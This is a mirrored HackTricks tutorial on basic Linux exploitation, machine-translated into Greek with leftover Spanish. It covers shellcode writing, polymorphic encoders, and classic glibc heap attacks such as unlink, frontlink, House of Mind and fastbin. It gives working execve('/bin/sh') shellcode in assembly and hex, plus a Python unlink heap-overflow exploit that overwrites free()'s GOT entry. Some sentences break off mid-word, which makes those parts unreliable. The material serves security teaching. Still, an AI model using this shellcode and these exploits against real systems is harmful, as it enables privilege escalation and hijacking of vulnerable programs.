mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
460 lines
42 KiB
Markdown
460 lines
42 KiB
Markdown
|
# Linux Exploiting (Βασικό) (SPA)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|||
|
|
|||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## **2.SHELLCODE**
|
|||
|
|
|||
|
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
|||
|
|
|||
|
setreuid(0,0); // \_\_NR\_setreuid 70\
|
|||
|
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
|||
|
exit(0); // \_\_NR\_exit 1
|
|||
|
|
|||
|
xor eax, eax ; limpiamos eax\
|
|||
|
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
|||
|
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
|||
|
int 0x80 ; Ejecutar syscall
|
|||
|
|
|||
|
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
|||
|
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
|||
|
|
|||
|
**Comprobar que la shellcode funciona**
|
|||
|
```
|
|||
|
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
|||
|
|
|||
|
void main(){
|
|||
|
void (*fp) (void);
|
|||
|
fp = (void *)shellcode;
|
|||
|
fp();
|
|||
|
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
Για να ελέγξετε αν οι κλήσεις συστήματος γίνονται σωστά, πρέπει να μεταγλωττίσετε το πρόγραμμα παραπάνω και οι κλήσεις συστήματος πρέπει να εμφανιστούν στο **strace ./ΠΡΟΓΡΑΜΜΑ_ΜΕΤΑΓΛΩΤΤΙΣΜΕΝΟ**
|
|||
|
|
|||
|
Κατά τη δημιουργία shellcodes μπορεί να γίνει ένα κόλπο. Η πρώτη εντολή είναι ένα jump σε ένα call. Το call καλεί τον αρχικό κώδικα και επιπλέον τοποθετεί το EIP στο stack. Μετά την εντολή call έχουμε τοποθετήσει το string που χρειαζόμαστε, έτσι με αυτό το EIP μπορούμε να δείξουμε στο string και να συνεχίσουμε να εκτελούμε τον κώδικα.
|
|||
|
|
|||
|
Π.χ. **ΚΟΛΠΟ (/bin/sh)**:
|
|||
|
```
|
|||
|
jmp 0x1f ; Salto al último call
|
|||
|
popl %esi ; Guardamos en ese la dirección al string
|
|||
|
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
|||
|
xorl %eax, %eax ; eax = NULL
|
|||
|
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
|||
|
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
|||
|
movl $0xb, %eax ; Syscall 11
|
|||
|
movl %esi, %ebx ; arg1=“/bin/sh”
|
|||
|
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
|||
|
leal 0xc(%esi), %edx ; arg3 = NULL
|
|||
|
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
|||
|
xorl %ebx, %ebx ; ebx = NULL
|
|||
|
movl %ebx, %eax
|
|||
|
inc %eax ; Syscall 1
|
|||
|
int $0x80 ; exit(0)
|
|||
|
call -0x24 ; Salto a la primera instrución
|
|||
|
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
**Χρήση του Stack(/bin/sh):**
|
|||
|
```
|
|||
|
section .text
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
xor eax, eax ;Limpieza
|
|||
|
mov al, 0x46 ; Syscall 70
|
|||
|
xor ebx, ebx ; arg1 = 0
|
|||
|
xor ecx, ecx ; arg2 = 0
|
|||
|
int 0x80 ; setreuid(0,0)
|
|||
|
xor eax, eax ; eax = 0
|
|||
|
push eax ; “\0”
|
|||
|
push dword 0x68732f2f ; “//sh”
|
|||
|
push dword 0x6e69622f; “/bin”
|
|||
|
mov ebx, esp ; arg1 = “/bin//sh\0”
|
|||
|
push eax ; Null -> args[1]
|
|||
|
push ebx ; “/bin/sh\0” -> args[0]
|
|||
|
mov ecx, esp ; arg2 = args[]
|
|||
|
mov al, 0x0b ; Syscall 11
|
|||
|
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
|||
|
```
|
|||
|
**ΕΚΤΕΛΕΣΗ FNSTENV:**
|
|||
|
```
|
|||
|
fabs
|
|||
|
fnstenv [esp-0x0c]
|
|||
|
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
|
…
|
|||
|
```
|
|||
|
**Κυνηγός Αυγών:**
|
|||
|
|
|||
|
Αυτό είναι ένα μικρό κομμάτι κώδικα που διατρέχει τις σελίδες μνήμης που σχετίζονται με ένα διεργασία σε αναζήτηση του shellcode που είναι αποθηκευμένο εκεί (ψάχνει για κάποια υπογραφή που έχει το shellcode). Χρήσιμο σε περιπτώσεις όπου υπάρχει μικρός χώρος για να ενθετηθεί κώδικας.
|
|||
|
|
|||
|
**Πολυμορφικά Shellcodes**
|
|||
|
|
|||
|
Αυτά είναι κρυπτογραφημένα shellcodes που περιέχουν ένα μικρό κομμάτι κώδικα που τα αποκρυπτογραφεί και αλλάζει σε αυτό, χρησιμοποιώντας το κόλπο του Call-Pop, αυτό θα ήταν ένα **παράδειγμα κρυπτογράφησης μετατόπισης**:
|
|||
|
```
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
jmp short magic
|
|||
|
init:
|
|||
|
pop esi
|
|||
|
xor ecx, ecx
|
|||
|
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
|||
|
desc:
|
|||
|
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
|||
|
sub cl, 1
|
|||
|
jnz desc
|
|||
|
jmp short sc
|
|||
|
magic:
|
|||
|
call init
|
|||
|
sc:
|
|||
|
;Aquí va el shellcode
|
|||
|
```
|
|||
|
## **5. Συμπληρωματικές μεθόδοι**
|
|||
|
|
|||
|
|
|||
|
**Τεχνική του Murat**
|
|||
|
|
|||
|
Στο Linux, όλα τα προγράμματα χαρτογραφούνται ξεκινώντας από το 0xbfffffff.
|
|||
|
|
|||
|
Παρατηρώντας πως δημιουργείται η στοίβα ενός νέου διεργασίας στο Linux, μπορεί να αναπτυχθεί ένα exploit έτσι ώστε το πρόγραμμα να εκκινείται σε ένα περιβάλλον όπου η μοναδική μεταβλητή είναι η shellcode. Η διεύθυνση αυτή μπορεί να υπολογιστεί ως: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode).
|
|||
|
|
|||
|
Με αυτόν τον τρόπο, μπορεί να αποκτηθεί εύκολα η διεύθυνση όπου βρίσκεται η μεταβλητή περιβάλλοντος με τη shellcode.
|
|||
|
|
|||
|
Αυτό είναι δυνατό λόγω του ότι η συνάρτηση execle επιτρέπει τη δημιουργία ενός περιβάλλοντος που έχει μόνο τις μεταβλητές περιβάλλοντος που επιθυμούνται.
|
|||
|
|
|||
|
### **Δομή \_\_atexit**
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
Η **`atexit()`** είναι μια συνάρτηση στην οποία **περνιούνται άλλες συναρτήσεις ως παράμετροι**. Αυτές οι **συναρτήσεις** θα **εκτελεστούν** κατά την εκτέλεση ενός **`exit()`** ή την **επιστροφή** από το **κύριο πρόγραμμα**.
|
|||
|
|
|||
|
Αν μπορείτε να **τροποποιήσετε** τη **διεύθυνση** μιας από αυτές τις **συναρτήσεις** ώστε να δείχνει σε μια shellcode για παράδειγμα, τότε θα **κερδίσετε έλεγχο** της **διεργασίας**, αλλά αυτό είναι πιο περίπλοκο αυτή τη στιγμή.
|
|||
|
|
|||
|
Προς το παρόν, οι **διευθύνσεις των συναρτήσεων** που πρόκειται να εκτελεστούν είναι **κρυμμένες** πίσω από αρκετές δομές και τελικά η διεύθυνση στην οποία δείχνουν δεν είναι οι διευθύνσεις των συναρτήσεων, αλλά είναι **κρυπτογραφημένες με XOR** και μετατοπίσεις με ένα **τυχαίο κλειδί**. Έτσι, αυτός ο διανυσματικός επιθετικός δεν είναι πολύ χρήσιμος τουλάχιστον σε x86 και x64_86.
|
|||
|
|
|||
|
### **setjmp() & longjmp()**
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Σήμερα είναι πολύ περίεργο να εκμεταλλευτείτε αυτό.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
Το **`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **πλαίσιο** (τα καταχωρητές)\
|
|||
|
Το **`longjmp()`** επιτρέπει να **επαναφέρετε** το **πλαίσιο**.\
|
|||
|
Τα **αποθηκευμένα καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
|||
|
Αυτό που συμβαίνει είναι ότι τα EIP και ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, οπότε η **αρχιτεκτονική ευάλωτη σε αυτήν την επίθεση είναι η ίδια με παραπάνω**.
|
|||
|
|
|||
|
Είναι χρήσιμα για ανάκτηση σφαλμάτων ή διακοπές.\
|
|||
|
Ωστόσο, από ό,τι έχω διαβάσει, οι άλλοι καταχωρητές δεν προστατεύονται, **έτσι αν υπάρχει ένα `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να πάρει τον έλεγχο. Ή μπορείτε επίσης να τροποποιήσετε τον EBP για να τροποποιήσετε το ESP.
|
|||
|
|
|||
|
**VTable και VPTR στο C++**
|
|||
|
|
|||
|
Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας με **pointers σε μεθόδους**.
|
|||
|
|
|||
|
Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, οπότε αν μια **αντικατάσταση** του **VPtr** επιτευχθεί, μπορεί να **τροποποιηθεί** ώστε να δείχνει σε μια ψεύτικη μέθοδο, έτσι ώστε η εκτέλεση μιας συνάρτησης να πάει στη shellcode.
|
|||
|
|
|||
|
## **Προληπτικά μέτρα και αποφυγές**
|
|||
|
|
|||
|
**Αντικατάσταση του Libsafe**
|
|||
|
|
|||
|
Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2\
|
|||
|
ή\
|
|||
|
“/lib/libsave.so.2” > /etc/ld.so.preload
|
|||
|
|
|||
|
Ορισμένες επικίνδυνες κλήσεις συναρτήσεων αντικαθίστανται με ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για συναθροίσεις με -fomit-frame-pointer, όχι στατικές συναθροίσεις, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid).
|
|||
|
|
|||
|
**ASCII Armored Address Space**
|
|||
|
|
|||
|
Αφορά τη φόρτωση κοινόχρηστων βιβλιοθηκών από το 0x00000000 έως το 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό δεν σταματά σχεδόν καμία επίθεση, ειδικά σε little endian.
|
|||
|
|
|||
|
**ret2plt**
|
|||
|
|
|||
|
Αποτελείται από την εκτέλεση ενός ROP έτσι ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει τον πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Στη συνέχεια, γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφοντας το 2ο byte του system()... Τελικά καλείται η διεύθυνση που αποθηκεύεται στο GOT που θα είναι το system().
|
|||
|
|
|||
|
**Κλουβιά με chroot()**
|
|||
|
|
|||
|
debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα σε ένα συγκεκριμένο υποκατάλογο
|
|||
|
|
|||
|
Ένας διαχειριστής μπορεί να βγει από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd ..
|
|||
|
|
|||
|
**Εργαλεία κώδικα**
|
|||
|
|
|||
|
Valgrind —> Ανιχνεύει σφάλματα\
|
|||
|
Memcheck\
|
|||
|
RAD (Return Address Defender)\
|
|||
|
Insure++
|
|||
|
|
|||
|
## **8 Υπερχείλιση Σωρού: Βασικά Exploits**
|
|||
|
|
|||
|
**Κομμάτι που έχει εκχωρηθεί**
|
|||
|
|
|||
|
prev_size |\
|
|||
|
size | —Κεφαλίδα\
|
|||
|
\*mem | Δεδομένα
|
|||
|
|
|||
|
**Ελεύθερο κομμάτι**
|
|||
|
|
|||
|
prev_size |\
|
|||
|
size |\
|
|||
|
\*fd | Δείκτης προς το εμπρός κομμάτι\
|
|||
|
\*bk | Δείκτης προς το πίσω κομμάτι —Κεφαλίδα\
|
|||
|
\*mem | Δεδομένα
|
|||
|
|
|||
|
Τα ελεύθερα κομμάτια βρίσκονται σε μια λίστα διπλά συνδεδεμένη (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια δίπλα-δίπλα (συγχωνεύονται)
|
|||
|
|
|||
|
Στο "size" υπάρχουν bits για να υποδείξουν: Αν το προηγούμενο κομμάτι είναι σε χρήση, αν το κομμάτι έχει εκχωρηθεί μέσω του mmap() και αν το κομμάτι ανήκει στον κύριο χώρο.
|
|||
|
|
|||
|
Όταν απελευθερώνετε ένα κομμάτι, αν κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το μεγαλύτερο νέο κομμάτι περνιέται στο frontlink() για να εισαχθεί στον κατάλληλο bin.
|
|||
|
|
|||
|
unlink(){\
|
|||
|
BK = P->bk; —> Το BK του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι\
|
|||
|
FD = P->fd; —> Το FD του νέου κομματιού είναι αυτό που είχε το προηγούμενο ελεύθερο κομμάτι\
|
|||
|
FD->bk = BK; —> Το BK του επόμενου κομματιού δείχνει στο νέο κομμάτι\
|
|||
|
BK->fd = FD; —> Το FD του προηγούμενου κομματιού δ
|
|||
|
Καλώντας τη συνάρτηση unlink(), το P->fd θα χρησιμοποιηθεί ως τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα εισαχθεί η διεύθυνση που θέλετε να αντικαταστήσετε - 12 (γιατί στο FD->bk θα προστεθεί 12 στη διεύθυνση που αποθηκεύεται στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που βρίσκεται στο 2ο κομμάτι, η οποία θα είναι η διεύθυνση του shellcode (ψευδής P->bk).
|
|||
|
|
|||
|
**from struct import \***
|
|||
|
|
|||
|
**import os**
|
|||
|
|
|||
|
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding**
|
|||
|
|
|||
|
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
|||
|
|
|||
|
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
|||
|
|
|||
|
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
|||
|
|
|||
|
**prev\_size = pack("\<I”, 0xfffffff0) #Σημαντικό να είναι 1 το bit που υποδηλώνει ότι το προηγούμενο κομμάτι είναι ελεύθερο**
|
|||
|
|
|||
|
**fake\_size = pack("\<I”, 0xfffffffc) #-4, για να νομίζει ότι το "size" του 3ου κομματιού είναι 4bytes πίσω (δείχνει στο prev\_size) όπου ελέγχει αν το 2ο κομμάτι είναι ελεύθερο**
|
|||
|
|
|||
|
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Στο payload στην αρχή θα βάλουμε 8bytes padding**
|
|||
|
|
|||
|
**got\_free = pack("\<I", 0x08048300 - 12) #Διεύθυνση της free() στο plt-12 (θα είναι η διεύθυνση που θα αντικατασταθεί για να εκτελεστεί το shellcode τη 2η φορά που καλείται η free)**
|
|||
|
|
|||
|
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Όπως αναφέρθηκε, το payload ξεκινά με 8 bytes padding γιατί**
|
|||
|
|
|||
|
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Τροποποιείται το 2ο κομμάτι, το got\_free δείχνει όπου θα αποθηκευτεί η διεύθυνση addr\_sc + 12**
|
|||
|
|
|||
|
**os.system("./8.3.o " + payload)**
|
|||
|
|
|||
|
**unset() απελευθερώνοντας με αντίστροφη σειρά (wargame)**
|
|||
|
|
|||
|
Έχουμε έλεγχο 3 συνεχόμενων τμημάτων και απελευθερώνονται με αντίστροφη σειρά από την κράτηση.
|
|||
|
|
|||
|
Σε αυτή την περίπτωση:
|
|||
|
|
|||
|
Στο τμήμα c τοποθετείται το shellcode
|
|||
|
|
|||
|
Το τμήμα a χρησιμοποιείται για να αντικαταστήσει το b έτσι ώστε το μέγεθος να έχει απενεργοποιημένο το bit PREV\_INUSE ώστε να νομίζει ότι το τμήμα a είναι ελεύθερο.
|
|||
|
|
|||
|
Επιπλέον, αντικαθίσταται στην κεφαλή του b το μέγεθος ώστε να είναι -4.
|
|||
|
|
|||
|
Έτσι, το πρόγραμμα θα νομίζει ότι το "a" είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει την unlink() για να το αποσυνδέσει. Ωστόσο, καθώς το μέγεθος του PREV\_SIZE του b είναι -4, θα νομίζει ότι το τμήμα "a" πραγματικά ξεκινάει από το b+4. Δηλαδή, θα κάνει unlink() σε ένα τμήμα που ξεκινάει από το b+4, οπότε στο b+12 θα είναι το δείκτης "fd" και στο b+16 θα είναι ο δείκτης "bk".
|
|||
|
|
|||
|
Με αυτόν τον τρόπο, αν βάλουμε τη διεύθυνση του shellcode στο bk και τη διεύθυνση της συνάρτησης "puts()" -12 στο fd, έχουμε το payload μας.
|
|||
|
|
|||
|
**Τεχνική Frontlink**
|
|||
|
|
|||
|
Καλείται το frontlink όταν κάτι απελευθερώνεται και κανένα από τα διπλανά τμήματά του δεν είναι ελεύθερα, δεν καλείται η unlink() αλλά καλείται απευθείας το frontlink().
|
|||
|
|
|||
|
Χρήσιμη ευπάθεια όταν το malloc που επιτίθεστε δεν απελευθερώνεται ποτέ (free()).
|
|||
|
|
|||
|
Απαιτεί:
|
|||
|
|
|||
|
Ένα buffer που μπορεί να υπερχειλιστεί με τη συνάρτηση εισόδου δεδομένων
|
|||
|
|
|||
|
Ένα buffer δίπλα σε αυτό που πρέπει να απελευθερωθεί και στο οποίο θα τροποποιηθεί το πεδίο fd της κεφαλής του χάρη στην υπερχείλιση του προηγούμενου buffer
|
|||
|
|
|||
|
Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από τον προηγούμενο buffer
|
|||
|
|
|||
|
Ένα buffer που δηλώνεται πριν το βήμα 3 που επιτρέπει την αντικατάσταση του prev\_size αυτού
|
|||
|
|
|||
|
Με αυτόν τον τρόπο, επιτυγχάνοντας την υπερχείλιση σε δύο mallocs με έλεγχο και σε έναν με έλεγχο μόνο που απελευθερώνεται, μπορούμε να κάνουμε ένα exploit.
|
|||
|
|
|||
|
**Ευπάθεια double free()**
|
|||
|
|
|||
|
Αν καλείται δύο φορές η free() με την ίδια δείκτη, υπάρχουν δύο bins που δείχνουν στην ίδια διεύθυνση.
|
|||
|
|
|||
|
Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν χωρίς προβλήματα. Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν άλλο, θα του ανατεθεί το ίδιο χώρο, έτσι θα έχουμε τους δείκτες "fd" και "bk" παραπλανημένους με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.
|
|||
|
|
|||
|
**Μετά τη free()**
|
|||
|
|
|||
|
Ένας προηγουμένως απελευθερωμένος δείκτης χρησιμοποιείται ξανά χωρίς έλεγχο.
|
|||
|
|
|||
|
## **8 Υπερχειλίσεις στην Heap: Προηγμένα Exploits**
|
|||
|
|
|||
|
Οι τεχνικές Unlink() και FrontLink() καταργήθηκαν με την τροποποίηση της συνάρτησης unlink().
|
|||
|
|
|||
|
**The house of mind**
|
|||
|
|
|||
|
Απαιτείται μόνο μια κλήση στη free() για να προκαλέσει την εκτέλεση κώδικα αυθαίρετα. Ενδιαφέρον παρουσιάζει τον εντοπισμό ενός δεύτερου τμήματος που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.
|
|||
|
|
|||
|
Μια κλήση στη free() καλεί την public\_fREe(mem), η οποία κάνει:
|
|||
|
|
|||
|
mstate ar\_ptr;
|
|||
|
|
|||
|
mchunkptr p;
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p = mem2chunk(mes); —> Επιστρέφει ένα δείκτη στη διεύθυνση όπου ξεκινά το τμήμα (mem-8)
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
\_int\_free(ar\_ptr, mem);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
Στο \[1] ελέγχει το πεδίο size του bit NON\_MAIN\_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επιστροφή να είναι true και να εκτελεστεί το heap\_for\_ptr() που κάνει ένα and στο "mem" αφήνοντας τα 2,5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από το 0x0804a000 αφήνει το 0x08000000) και προσπελαύνει το 0x08000000->ar\_ptr (σαν ένα struct heap\_info)
|
|||
|
|
|||
|
Με αυτόν τον τρόπο, αν μπορούμε να ελέγξουμε ένα τμήμα για παράδειγμα στο 0x0804a000 και θα απελευθερωθεί ένα τμήμα στο **0x081002a0** μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο τμήμα απελευθερωθεί, θα βρει ότι το heap\_for\_ptr(ptr)->ar\_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (καθώς εφαρμόζεται το and στο 0x081002a0 που είδαμε πριν και από εκεί παίρνει την τιμή των πρώτων 4 bytes, το ar\_ptr)
|
|||
|
|
|||
|
Με αυτόν τον τρόπο καλείται το \_int\_free(ar\_ptr, mem), δηλαδή, **\_int\_free(0x0804a000, 0x081002a0)**\
|
|||
|
**\_int\_free(mstate av, Void\_t\* mem){**\
|
|||
|
…\
|
|||
|
bck = unsorted\_chunks(av);\
|
|||
|
fwd = bck->fd;\
|
|||
|
p->bk = bck;\
|
|||
|
p->fd = fwd;\
|
|||
|
bck->fd = p;\
|
|||
|
fwd->bk = p;
|
|||
|
|
|||
|
..}
|
|||
|
|
|||
|
Όπως είδαμε προηγουμένως μπορούμε να ελέγξουμε την τιμή
|
|||
|
Στο δεύτερο κομμάτι και χάρη στο πρώτο, αντικαθιστούμε το prev\_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON\_MAIN\_ARENA
|
|||
|
|
|||
|
Στη συνέχεια, στο κομμάτι 2 βάζουμε πολλά nops και τέλος το shellcode
|
|||
|
|
|||
|
Έτσι θα κληθεί ο \_int\_free(TROZO1, TROZO2) και θα ακολουθήσει τις οδηγίες για να γράψει στο \_\_DTOR\_END\_\_ τη διεύθυνση του prev\_size του TROZO2 το οποίο θα πηδήξει στο shellcode.
|
|||
|
|
|||
|
Για να εφαρμόσετε αυτή την τεχνική, απαιτούνται μερικές πρόσθετες προϋποθέσεις που δυσκολεύουν λίγο περισσότερο το payload.
|
|||
|
|
|||
|
Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη επειδή εφαρμόστηκε σχεδόν το ίδιο patch με αυτό για το unlink. Συγκρίνονται αν το νέο σημείο προορισμού δείχνει επίσης προς αυτόν.
|
|||
|
|
|||
|
**Fastbin**
|
|||
|
|
|||
|
Είναι μια παραλλαγή του The house of mind
|
|||
|
|
|||
|
μας ενδιαφέρει να εκτελέσουμε τον ακόλουθο κώδικα που εκτελείται μετά τον έλεγχο της συνάρτησης \_int\_free()
|
|||
|
|
|||
|
fb = &(av->fastbins\[fastbin\_index(size)] —> Με fastbin\_index(sz) —> (sz >> 3) - 2
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p->fd = \*fb
|
|||
|
|
|||
|
\*fb = p
|
|||
|
|
|||
|
Με αυτόν τον τρόπο, αν τοποθετηθεί στο "fb" η διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση του κομματιού που έχει υπερεπικαλυφθεί. Για αυτό θα χρειαστεί η αρένα να είναι κοντά στις διευθύνσεις των dtors. Ακριβέστερα, το av->max\_fast πρέπει να βρίσκεται στη διεύθυνση που θα υπερεπικαλυφθεί.
|
|||
|
|
|||
|
Δεδομένου ότι με το The House of Mind είδαμε ότι εμείς ελέγχαμε τη θέση του av.
|
|||
|
|
|||
|
Έτσι, αν στο πεδίο size βάλουμε μέγεθος 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max\_fast
|
|||
|
|
|||
|
Σε αυτήν την περίπτωση, το av->max\_fast θα είναι η διεύθυνση που θα υπερεπικαλυφθεί (όχι στην οποία θα δείχνει, αλλά αυτή η θέση θα υπερεπικαλυφθεί).
|
|||
|
|
|||
|
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει απλά να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).
|
|||
|
|
|||
|
Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system\_mem. Το av->system\_mem βρίσκεται 1848 bytes πιο πέρα.
|
|||
|
|
|||
|
Λόγω των μηδενικών του \_DTOR\_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις ενότητες δεν εξυπηρετεί για υπερεπικάλυψη, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για επίθεση στη στοίβα.
|
|||
|
|
|||
|
Μια άλλη μέθοδος επίθεσης είναι η ανακατεύθυνση του **av** προς τη στοίβα.
|
|||
|
|
|||
|
Αν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin\_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπερεπικαλύψουμε τη στοίβα.
|
|||
|
|
|||
|
Για αυτό δεν πρέπει να υπάρχει κανένα canary ή περίεργες τιμές στη στοίβα, πρέπει να βρισκόμαστε σε αυτήν: 4bytes μηδενικά + EBP + RET
|
|||
|
|
|||
|
Τα 4 bytes μηδενικά απαιτούνται για να είναι το **av** σε αυτήν τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0.
|
|||
|
|
|||
|
Το **av->max\_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας επιτρέψει να παρακάμψουμε τους περιορισμούς.
|
|||
|
|
|||
|
Στο **av->fastbins\[0]** θα υπερεπικαλυφθεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα πηδήξει στο shellcode.
|
|||
|
|
|||
|
